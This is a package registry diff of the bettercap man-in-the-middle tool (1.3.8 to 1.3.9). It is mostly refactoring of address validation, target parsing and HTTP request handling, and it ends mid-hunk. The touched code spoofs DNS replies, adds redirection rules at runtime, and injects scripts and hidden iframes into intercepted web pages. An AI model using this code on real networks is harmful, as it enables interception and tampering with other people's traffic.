bettercap 1.3.8 → 1.3.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/bettercap/context.rb +1 -1
- data/lib/bettercap/discovery/agents/base.rb +16 -8
- data/lib/bettercap/discovery/agents/icmp.rb +1 -1
- data/lib/bettercap/network/network.rb +15 -78
- data/lib/bettercap/network/packet_queue.rb +2 -2
- data/lib/bettercap/network/servers/dnsd.rb +41 -9
- data/lib/bettercap/network/target.rb +5 -4
- data/lib/bettercap/network/validator.rb +87 -0
- data/lib/bettercap/options.rb +28 -11
- data/lib/bettercap/proxy/modules/injectcss.rb +1 -1
- data/lib/bettercap/proxy/modules/injecthtml.rb +1 -1
- data/lib/bettercap/proxy/modules/injectjs.rb +1 -1
- data/lib/bettercap/proxy/proxy.rb +20 -5
- data/lib/bettercap/proxy/request.rb +66 -75
- data/lib/bettercap/proxy/response.rb +7 -2
- data/lib/bettercap/proxy/sslstrip/strip.rb +48 -16
- data/lib/bettercap/proxy/stream_logger.rb +2 -6
- data/lib/bettercap/proxy/streamer.rb +13 -19
- data/lib/bettercap/spoofers/base.rb +4 -4
- data/lib/bettercap/version.rb +1 -1
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 04fcfc9b8b34c69b44236a52f322bd0e9dc42e68
|
4
|
+
data.tar.gz: a37d61a2d587eedc1e4682ee4c885629db12bd86
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 33c42e7fee3330128513900d7ad5bbb6058adae66177fd75516d164cdd18d78ca6d9cacf928b071dd16b1781ca9de93f90a58442911cf4aea0b6ad64fc5206b3
|
7
|
+
data.tar.gz: 77d9f295dcf9e390bfdaabbb20c972bdf2768b1edf4a443aaea0845b525c2d1f203ed68acc210b87ef59729873e3bd36cdb4ed03f1bd2f73cb7bc0f0426933f1
|
data/lib/bettercap/context.rb
CHANGED
@@ -93,7 +93,7 @@ class Context
|
|
93
93
|
raise BetterCap::Error, "Could not detect the gateway address for interface #{@options.iface}, "\
|
94
94
|
'make sure you\'ve specified the correct network interface to use and to have the '\
|
95
95
|
'correct network configuration, this could also happen if bettercap '\
|
96
|
-
'is launched from a virtual environment.'
|
96
|
+
'is launched from a virtual environment.' unless Network::Validator.is_ip?(@gateway)
|
97
97
|
|
98
98
|
Logger.debug '----- NETWORK INFORMATIONS -----'
|
99
99
|
Logger.debug " network = #{@ifconfig[:ip4_obj]}"
|
@@ -18,18 +18,26 @@ module Agents
|
|
18
18
|
# Base class for BetterCap::Discovery::Agents.
|
19
19
|
class Base
|
20
20
|
# Initialize the agent using the +ctx+ BetterCap::Context instance.
|
21
|
-
|
21
|
+
# If +address+ is not nil only that ip will be probed.
|
22
|
+
def initialize( ctx, address = nil )
|
22
23
|
@ctx = ctx
|
23
24
|
@ifconfig = ctx.ifconfig
|
24
25
|
@local_ip = @ifconfig[:ip_saddr]
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
26
|
+
@address = address
|
27
|
+
|
28
|
+
if @address.nil?
|
29
|
+
net = ip = @ifconfig[:ip4_obj]
|
30
|
+
# loop each ip in our subnet and push it to the queue
|
31
|
+
while net.include?ip
|
32
|
+
unless skip_address?(ip)
|
33
|
+
@ctx.packets.push( get_probe(ip) )
|
34
|
+
end
|
35
|
+
ip = ip.succ
|
36
|
+
end
|
37
|
+
else
|
38
|
+
unless skip_address?(@address)
|
39
|
+
@ctx.packets.push( get_probe(@address) )
|
31
40
|
end
|
32
|
-
ip = ip.succ
|
33
41
|
end
|
34
42
|
end
|
35
43
|
|
@@ -19,7 +19,7 @@ module Agents
|
|
19
19
|
class Icmp
|
20
20
|
# Create a thread which will perform a ping-sweep on the network in order
|
21
21
|
# to populate the ARP cache with active targets.
|
22
|
-
def initialize( ctx )
|
22
|
+
def initialize( ctx, address = nil )
|
23
23
|
Firewalls::Base.get.enable_icmp_bcast(true)
|
24
24
|
|
25
25
|
# TODO: Use the real broadcast address for this network.
|
@@ -16,37 +16,19 @@ module BetterCap
|
|
16
16
|
# Handles various network related tasks.
|
17
17
|
module Network
|
18
18
|
class << self
|
19
|
-
# Return true if +ip+ is a valid IP address, otherwise false.
|
20
|
-
def is_ip?(ip)
|
21
|
-
if /\A(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\Z/ =~ ip.to_s
|
22
|
-
return $~.captures.all? {|i| i.to_i < 256}
|
23
|
-
end
|
24
|
-
false
|
25
|
-
end
|
26
|
-
|
27
|
-
# Return true if +mac+ is a valid MAC address, otherwise false.
|
28
|
-
def is_mac?(mac)
|
29
|
-
( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
|
30
|
-
end
|
31
|
-
|
32
19
|
# Return the current network gateway or nil.
|
33
20
|
def get_gateway
|
34
21
|
nstat = Shell.execute('netstat -nr')
|
22
|
+
iface = Context.get.options.iface
|
35
23
|
|
36
24
|
Logger.debug "NETSTAT:\n#{nstat}"
|
37
25
|
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
if line.include?( Context.get.options.iface )
|
42
|
-
tmp = line.split[1]
|
43
|
-
if is_ip?(tmp)
|
44
|
-
gw = tmp
|
45
|
-
break
|
46
|
-
end
|
26
|
+
nstat.split(/\n/).select {|n| n =~ /UG/ }.each do |line|
|
27
|
+
Network::Validator.each_ip(line) do |address|
|
28
|
+
return address
|
47
29
|
end
|
48
30
|
end
|
49
|
-
|
31
|
+
nil
|
50
32
|
end
|
51
33
|
|
52
34
|
# Return a list of IP addresses associated to this device network interfaces.
|
@@ -95,72 +77,27 @@ class << self
|
|
95
77
|
|
96
78
|
# Return the hardware address associated with the specified +ip_address+ using
|
97
79
|
# the +iface+ network interface.
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
attempts.times do
|
104
|
-
arp_pkt = PacketFu::ARPPacket.new
|
105
|
-
|
106
|
-
arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
|
107
|
-
arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
|
108
|
-
arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
|
109
|
-
arp_pkt.arp_saddr_ip = iface[:ip_saddr]
|
110
|
-
arp_pkt.arp_daddr_ip = ip_address
|
111
|
-
|
112
|
-
cap_thread = Thread.new do
|
113
|
-
Context.get.packets.push(arp_pkt)
|
114
|
-
|
115
|
-
target_mac = nil
|
116
|
-
timeout = 0
|
117
|
-
|
118
|
-
cap = PacketFu::Capture.new(
|
119
|
-
iface: iface[:iface],
|
120
|
-
start: true,
|
121
|
-
filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
|
122
|
-
)
|
123
|
-
|
124
|
-
begin
|
125
|
-
Logger.debug 'Attempting to get MAC from packet capture ...'
|
126
|
-
target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
|
127
|
-
rescue Timeout::Error
|
128
|
-
timeout += 0.1
|
129
|
-
retry if target_mac.nil? && timeout <= 5
|
130
|
-
end
|
131
|
-
|
132
|
-
target_mac
|
133
|
-
end
|
134
|
-
hw_address = cap_thread.value
|
135
|
-
|
136
|
-
break unless hw_address.nil?
|
137
|
-
end
|
80
|
+
def get_hw_address( ctx, ip )
|
81
|
+
hw = ArpReader.find_address( ip )
|
82
|
+
if hw.nil?
|
83
|
+
start_agents( ctx, ip )
|
84
|
+
hw = ArpReader.find_address( ip )
|
138
85
|
end
|
139
|
-
|
140
|
-
hw_address
|
86
|
+
hw
|
141
87
|
end
|
142
88
|
|
143
89
|
private
|
144
90
|
|
145
91
|
# Start discovery agents and wait for +ctx.timeout+ seconds for them to
|
146
92
|
# complete their job.
|
147
|
-
|
93
|
+
# If +address+ is not nil only that ip will be probed.
|
94
|
+
def start_agents( ctx, address = nil )
|
148
95
|
[ 'Icmp', 'Udp', 'Arp' ].each do |name|
|
149
|
-
BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx)
|
96
|
+
BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
|
150
97
|
end
|
151
98
|
ctx.packets.wait_empty( ctx.timeout )
|
152
99
|
end
|
153
|
-
|
154
|
-
# Search for the MAC address associated to +ip_address+ inside the +cap+
|
155
|
-
# PacketFu::Capture object.
|
156
|
-
def get_mac_from_capture( cap, ip_address )
|
157
|
-
cap.stream.each do |p|
|
158
|
-
arp_response = PacketFu::Packet.parse(p)
|
159
|
-
target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip == ip_address
|
160
|
-
break target_mac unless target_mac.nil?
|
161
|
-
end
|
162
|
-
end
|
163
|
-
|
164
100
|
end
|
101
|
+
|
165
102
|
end
|
166
103
|
end
|
@@ -63,7 +63,7 @@ class PacketQueue
|
|
63
63
|
def dispatch_udp_packet(packet)
|
64
64
|
ip, port, data = packet
|
65
65
|
@mutex.synchronize {
|
66
|
-
Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
|
66
|
+
# Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
|
67
67
|
@udp.send( data, 0, ip, port )
|
68
68
|
}
|
69
69
|
end
|
@@ -71,7 +71,7 @@ class PacketQueue
|
|
71
71
|
# Use the global Pcap injection instance to send the +packet+.
|
72
72
|
def dispatch_raw_packet(packet)
|
73
73
|
@mutex.synchronize {
|
74
|
-
Logger.debug "Sending #{packet.class.name} packet ..."
|
74
|
+
# Logger.debug "Sending #{packet.class.name} packet ..."
|
75
75
|
@stream.inject( packet.headers[0].to_s )
|
76
76
|
}
|
77
77
|
end
|
@@ -18,10 +18,21 @@ module Servers
|
|
18
18
|
|
19
19
|
# Class to wrap RubyDNS::RuleBasedServer and add some utility methods.
|
20
20
|
class DnsWrapper < RubyDNS::RuleBasedServer
|
21
|
+
# List of redirection rules.
|
22
|
+
attr_accessor :rules
|
23
|
+
# we need this in order to add rules at runtime.
|
24
|
+
@@instance = nil
|
25
|
+
|
26
|
+
# Return the active instance of this object.
|
27
|
+
def self.get
|
28
|
+
@@instance
|
29
|
+
end
|
30
|
+
|
21
31
|
# Instantiate a server with a block.
|
22
32
|
def initialize(options = {}, &block)
|
23
33
|
super(options,&block)
|
24
34
|
@rules = options[:rules]
|
35
|
+
@@instance = self
|
25
36
|
end
|
26
37
|
# Give a name and a record type, try to match a rule and use it for processing the given arguments.
|
27
38
|
def process(name, resource_class, transaction)
|
@@ -35,7 +46,7 @@ class DNSD
|
|
35
46
|
# Initialize the DNS server with the specified +address+ and tcp/udp +port+.
|
36
47
|
# The server will load +hosts_filename+ composed by 'regexp -> ip' entries
|
37
48
|
# to do custom DNS spoofing/resolution.
|
38
|
-
def initialize( hosts_filename, address = '0.0.0.0', port = 5300 )
|
49
|
+
def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
|
39
50
|
@port = port
|
40
51
|
@address = address
|
41
52
|
@server = nil
|
@@ -46,16 +57,29 @@ class DNSD
|
|
46
57
|
[:tcp, address, port]
|
47
58
|
]
|
48
59
|
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
60
|
+
unless hosts_filename.nil?
|
61
|
+
DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
|
62
|
+
block = Proc.new do |transaction|
|
63
|
+
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
64
|
+
transaction.respond!(addr)
|
65
|
+
end
|
66
|
+
|
67
|
+
@rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
|
53
68
|
end
|
54
69
|
|
55
|
-
|
70
|
+
Logger.warn "Empty hosts file for DNS server." if @rules.empty?
|
71
|
+
end
|
72
|
+
end
|
73
|
+
|
74
|
+
# Add a rule to the DNS resolver at runtime.
|
75
|
+
def add_rule( exp, addr )
|
76
|
+
Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
|
77
|
+
block = Proc.new do |transaction|
|
78
|
+
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
79
|
+
transaction.respond!(addr)
|
56
80
|
end
|
57
81
|
|
58
|
-
|
82
|
+
DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )
|
59
83
|
end
|
60
84
|
|
61
85
|
# Start the server.
|
@@ -63,7 +87,14 @@ class DNSD
|
|
63
87
|
Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ( #{@rules.size} redirection rule#{if @rules.size > 1 then 's' else '' end} ) ..."
|
64
88
|
|
65
89
|
@thread = Thread.new {
|
66
|
-
|
90
|
+
options = {
|
91
|
+
:listen => @ifaces,
|
92
|
+
:asynchronous => true,
|
93
|
+
:server_class => DnsWrapper,
|
94
|
+
:rules => @rules
|
95
|
+
}
|
96
|
+
|
97
|
+
RubyDNS::run_server( options ) do
|
67
98
|
# Suppress RubyDNS logging.
|
68
99
|
@logger.level = ::Logger::ERROR
|
69
100
|
@upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
|
@@ -108,7 +139,8 @@ class DNSD
|
|
108
139
|
address = Context.get.ifconfig[:ip_saddr].to_s
|
109
140
|
end
|
110
141
|
|
111
|
-
raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'."
|
142
|
+
raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'." \
|
143
|
+
unless Network::Validator.is_ip?(address)
|
112
144
|
|
113
145
|
begin
|
114
146
|
hosts[ Regexp.new(expression) ] = address
|
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require 'bettercap/logger'
|
14
13
|
require 'socket'
|
15
14
|
|
16
15
|
module BetterCap
|
@@ -45,13 +44,15 @@ class Target
|
|
45
44
|
# ip address will be parsed from the computer ARP cache and updated
|
46
45
|
# accordingly.
|
47
46
|
def initialize( ip, mac=nil )
|
48
|
-
if Network.is_ip?(ip)
|
49
|
-
@ip
|
47
|
+
if Network::Validator.is_ip?(ip)
|
48
|
+
@ip = ip
|
50
49
|
@ip_refresh = false
|
51
|
-
|
50
|
+
elsif Network::Validator.is_mac?(ip)
|
52
51
|
@ip = nil
|
53
52
|
mac = ip
|
54
53
|
@ip_refresh = true
|
54
|
+
else
|
55
|
+
raise BetterCap::Error, "'#{ip}' is not a valid IP or MAC address."
|
55
56
|
end
|
56
57
|
|
57
58
|
@mac = Target.normalized_mac(mac) unless mac.nil?
|
@@ -0,0 +1,87 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
module BetterCap
|
14
|
+
module Network
|
15
|
+
# Simple class to perform validation of various addresses, ranges, etc.
|
16
|
+
class Validator
|
17
|
+
# Basic expression to validate an IP address.
|
18
|
+
IP_ADDRESS_REGEX = '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})'
|
19
|
+
# Quite self explainatory :)
|
20
|
+
IP_OCTECT_MAX = 255
|
21
|
+
|
22
|
+
# Return true if +ip+ is a valid IP address, otherwise false.
|
23
|
+
def self.is_ip?(ip)
|
24
|
+
if /\A#{IP_ADDRESS_REGEX}\Z/ =~ ip.to_s
|
25
|
+
return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
|
26
|
+
end
|
27
|
+
false
|
28
|
+
end
|
29
|
+
|
30
|
+
# Extract valid IP addresses from +data+ and yields each one of them.
|
31
|
+
def self.each_ip(data)
|
32
|
+
data.scan(/(#{IP_ADDRESS_REGEX})/).each do |m|
|
33
|
+
yield( m[0] ) if m[0] != '0.0.0.0'
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
# Return true if +r+ is a valid IP address range ( 192.168.1.1-93 ), otherwise false.
|
38
|
+
def self.is_range?(r)
|
39
|
+
if /\A#{IP_ADDRESS_REGEX}\-(\d{1,3})\Z/ =~ r.to_s
|
40
|
+
return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
|
41
|
+
end
|
42
|
+
false
|
43
|
+
end
|
44
|
+
|
45
|
+
# Parse +r+ as an IP range and return the first and last IP.
|
46
|
+
def self.parse_range(r)
|
47
|
+
first, last_part = r.split('-')
|
48
|
+
last = first.split('.')[0..2].join('.') + ".#{last_part}"
|
49
|
+
first = IPAddr.new(first)
|
50
|
+
last = IPAddr.new(last)
|
51
|
+
|
52
|
+
[ first, last ]
|
53
|
+
end
|
54
|
+
|
55
|
+
# Parse +r+ as an IP range and yields each address in it.
|
56
|
+
def self.each_in_range(r)
|
57
|
+
first, last = self.parse_range(r)
|
58
|
+
loop do
|
59
|
+
yield first.to_s
|
60
|
+
break if first == last
|
61
|
+
first = first.succ
|
62
|
+
end
|
63
|
+
end
|
64
|
+
|
65
|
+
# Parse +m+ as a netmask and yields each address in it.
|
66
|
+
def self.each_in_netmask(m)
|
67
|
+
IPAddr.new(m).to_range.each do |o|
|
68
|
+
yield o.to_s
|
69
|
+
end
|
70
|
+
end
|
71
|
+
|
72
|
+
# Return true if +n+ is a valid IP netmask range ( 192.168.1.1/24 ), otherwise false.
|
73
|
+
def self.is_netmask?(n)
|
74
|
+
if /\A#{IP_ADDRESS_REGEX}\/(\d+)\Z/ =~ n.to_s
|
75
|
+
return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
|
76
|
+
end
|
77
|
+
false
|
78
|
+
end
|
79
|
+
|
80
|
+
# Return true if +mac+ is a valid MAC address, otherwise false.
|
81
|
+
def self.is_mac?(mac)
|
82
|
+
( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
|
83
|
+
end
|
84
|
+
end
|
85
|
+
|
86
|
+
end
|
87
|
+
end
|
data/lib/bettercap/options.rb
CHANGED
@@ -367,8 +367,13 @@ class Options
|
|
367
367
|
|
368
368
|
ctx.options.starting_message
|
369
369
|
|
370
|
+
if ctx.options.sslstrip and ctx.options.dnsd
|
371
|
+
raise BetterCap::Error, "SSL Stripping and builtin DNS server are mutually exclusive features, " \
|
372
|
+
"either use the --no-sslstrip option or remove the --dns option."
|
373
|
+
end
|
374
|
+
|
370
375
|
unless ctx.options.gateway.nil?
|
371
|
-
raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network.is_ip?(ctx.options.gateway)
|
376
|
+
raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network::Validator.is_ip?(ctx.options.gateway)
|
372
377
|
ctx.gateway = ctx.options.gateway
|
373
378
|
Logger.debug("Targetting manually specified gateway #{ctx.gateway}")
|
374
379
|
end
|
@@ -418,7 +423,7 @@ class Options
|
|
418
423
|
# or more invalid IP addresses are specified.
|
419
424
|
def parse_ignore!(value)
|
420
425
|
@ignore = value.split(",")
|
421
|
-
valid = @ignore.select { |target| Network.is_ip?(target) }
|
426
|
+
valid = @ignore.select { |target| Network::Validator.is_ip?(target) }
|
422
427
|
|
423
428
|
raise BetterCap::Error, "Invalid ignore addresses specified." if valid.empty?
|
424
429
|
|
@@ -435,7 +440,7 @@ class Options
|
|
435
440
|
# Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
|
436
441
|
# BetterCap::Error if +value+ is not a valid IP address.
|
437
442
|
def parse_custom_proxy!(value, https=false)
|
438
|
-
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
|
443
|
+
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
|
439
444
|
if https
|
440
445
|
@custom_proxy = value
|
441
446
|
else
|
@@ -460,25 +465,37 @@ class Options
|
|
460
465
|
# Split specified targets and parse them ( either as IP or MAC ), will raise a
|
461
466
|
# BetterCap::Error if one or more invalid addresses are specified.
|
462
467
|
def parse_targets
|
468
|
+
valid = []
|
463
469
|
targets = @target.split(",")
|
464
|
-
valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
|
465
470
|
|
466
|
-
|
471
|
+
targets.each do |t|
|
472
|
+
if Network::Validator.is_ip?(t) or Network::Validator.is_mac?(t)
|
473
|
+
valid << Network::Target.new(t)
|
474
|
+
|
475
|
+
elsif Network::Validator.is_range?(t)
|
476
|
+
Network::Validator.each_in_range( t ) do |address|
|
477
|
+
valid << Network::Target.new(address)
|
478
|
+
end
|
467
479
|
|
468
|
-
|
469
|
-
|
470
|
-
|
480
|
+
elsif Network::Validator.is_netmask?(t)
|
481
|
+
Network::Validator.each_in_netmask(t) do |address|
|
482
|
+
valid << Network::Target.new(address)
|
483
|
+
end
|
484
|
+
|
485
|
+
else
|
486
|
+
raise BetterCap::Error, "Invalid target specified '#{t}', valid formats are IP addresses, "\
|
487
|
+
"MAC addresses, IP ranges ( 192.168.1.1-30 ) or netmasks ( 192.168.1.1/24 ) ."
|
488
|
+
end
|
471
489
|
end
|
472
490
|
|
473
|
-
|
491
|
+
valid
|
474
492
|
end
|
475
493
|
|
476
494
|
# Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
|
477
495
|
# BetterCap::Error if an invalid spoofer name was specified.
|
478
496
|
def parse_spoofers
|
479
497
|
spoofers = []
|
480
|
-
|
481
|
-
spoofer_modules_names.each do |module_name|
|
498
|
+
@spoofer.split(",").each do |module_name|
|
482
499
|
spoofers << Spoofers::Base.get_by_name( module_name )
|
483
500
|
end
|
484
501
|
spoofers
|
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into
|
59
|
+
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@cssdata.nil?
|
62
62
|
response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
|
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
|
|
44
44
|
def on_request( request, response )
|
45
45
|
# is it a html page?
|
46
46
|
if response.content_type =~ /^text\/html.*/
|
47
|
-
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into
|
47
|
+
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
|
48
48
|
|
49
49
|
if @@data.nil?
|
50
50
|
response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
|
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into
|
59
|
+
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@jsdata.nil?
|
62
62
|
response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
|
@@ -45,8 +45,13 @@ class Proxy
|
|
45
45
|
|
46
46
|
BasicSocket.do_not_reverse_lookup = true
|
47
47
|
|
48
|
-
@pool = ThreadPool.new( 4,
|
48
|
+
@pool = ThreadPool.new( 4, 64 ) do |client|
|
49
|
+
begin
|
49
50
|
client_worker client
|
51
|
+
rescue Exception => e
|
52
|
+
Logger.warn "Client worker errort: #{e.message}"
|
53
|
+
Logger.exception e
|
54
|
+
end
|
50
55
|
end
|
51
56
|
end
|
52
57
|
|
@@ -98,6 +103,9 @@ class Proxy
|
|
98
103
|
while @running do
|
99
104
|
begin
|
100
105
|
@pool << @server.accept
|
106
|
+
rescue OpenSSL::SSL::SSLError => se
|
107
|
+
Logger.debug("Error while accepting #{@type} connection.")
|
108
|
+
Logger.exception(se)
|
101
109
|
rescue Exception => e
|
102
110
|
Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running
|
103
111
|
end
|
@@ -109,7 +117,10 @@ class Proxy
|
|
109
117
|
# Return true if the +request+ host header contains one of this computer
|
110
118
|
# ip addresses.
|
111
119
|
def is_self_request?(request)
|
112
|
-
|
120
|
+
begin
|
121
|
+
return @local_ips.include? IPSocket.getaddress(request.host)
|
122
|
+
rescue; end
|
123
|
+
false
|
113
124
|
end
|
114
125
|
|
115
126
|
# Handle a new +client+.
|
@@ -121,12 +132,14 @@ class Proxy
|
|
121
132
|
|
122
133
|
request.read(client)
|
123
134
|
|
135
|
+
Logger.debug 'Request parsed.'
|
136
|
+
|
124
137
|
# stripped request
|
125
138
|
if @streamer.was_stripped?( request, client )
|
126
139
|
@streamer.handle( request, client )
|
127
140
|
# someone is having fun with us =)
|
128
141
|
elsif is_self_request? request
|
129
|
-
@streamer.rickroll( client
|
142
|
+
@streamer.rickroll( client )
|
130
143
|
# handle request
|
131
144
|
else
|
132
145
|
@streamer.handle( request, client )
|
@@ -135,10 +148,12 @@ class Proxy
|
|
135
148
|
Logger.debug "#{@type} client served."
|
136
149
|
|
137
150
|
rescue SocketError => se
|
138
|
-
Logger.debug "Socket error while serving client: #{
|
139
|
-
Logger.exception
|
151
|
+
Logger.debug "Socket error while serving client: #{se.message}"
|
152
|
+
# Logger.exception se
|
140
153
|
rescue Errno::EPIPE => ep
|
141
154
|
Logger.debug "Connection closed while serving client."
|
155
|
+
rescue EOFError => eof
|
156
|
+
Logger.debug "EOFError while serving client."
|
142
157
|
rescue Exception => e
|
143
158
|
Logger.warn "Error while serving client: #{e.message}"
|
144
159
|
Logger.exception e
|
@@ -15,12 +15,12 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
# HTTP request parser.
|
17
17
|
class Request
|
18
|
-
#
|
19
|
-
attr_reader :
|
20
|
-
# HTTP
|
21
|
-
attr_reader :
|
22
|
-
# Request
|
23
|
-
attr_reader :
|
18
|
+
# HTTP method.
|
19
|
+
attr_reader :method
|
20
|
+
# HTTP version.
|
21
|
+
attr_reader :version
|
22
|
+
# Request path + query.
|
23
|
+
attr_reader :path
|
24
24
|
# Hostname.
|
25
25
|
attr_reader :host
|
26
26
|
# Request port.
|
@@ -33,21 +33,19 @@ class Request
|
|
33
33
|
attr_accessor :body
|
34
34
|
# Client address.
|
35
35
|
attr_accessor :client
|
36
|
-
# Client port.
|
37
|
-
attr_accessor :client_port
|
38
36
|
|
39
37
|
# Initialize this object setting #port to +default_port+.
|
40
38
|
def initialize( default_port = 80 )
|
41
|
-
@lines
|
42
|
-
@
|
43
|
-
@
|
44
|
-
@
|
45
|
-
@
|
46
|
-
@
|
39
|
+
@lines = []
|
40
|
+
@method = nil
|
41
|
+
@version = '1.1'
|
42
|
+
@path = nil
|
43
|
+
@host = nil
|
44
|
+
@port = default_port
|
45
|
+
@headers = {}
|
47
46
|
@content_length = 0
|
48
|
-
@body
|
49
|
-
@client
|
50
|
-
@client_port = 0
|
47
|
+
@body = nil
|
48
|
+
@client = ""
|
51
49
|
end
|
52
50
|
|
53
51
|
# Read lines from the +sock+ socket and parse them.
|
@@ -94,64 +92,71 @@ class Request
|
|
94
92
|
Logger.debug " REQUEST LINE: '#{line}'"
|
95
93
|
|
96
94
|
# is this the first line '<VERB> <URI> HTTP/<VERSION>' ?
|
97
|
-
if
|
98
|
-
@
|
99
|
-
@
|
95
|
+
if line =~ /^(\w+)\s+(\S+)\s+HTTP\/([\d\.]+)\s*$/
|
96
|
+
@method = $1
|
97
|
+
@path = $2
|
98
|
+
@version = $3
|
100
99
|
|
101
100
|
# fix url
|
102
|
-
if @
|
103
|
-
uri = URI::parse @
|
104
|
-
@
|
101
|
+
if @path.include? '://'
|
102
|
+
uri = URI::parse @path
|
103
|
+
@path = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
|
105
104
|
end
|
106
105
|
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
106
|
+
# collect and fix headers
|
107
|
+
elsif line =~ /^([^:\s]+)\s*:\s*(.+)$/i
|
108
|
+
name = $1
|
109
|
+
value = $2
|
110
|
+
|
111
|
+
case name
|
112
|
+
when 'Host'
|
113
|
+
@host = value
|
114
|
+
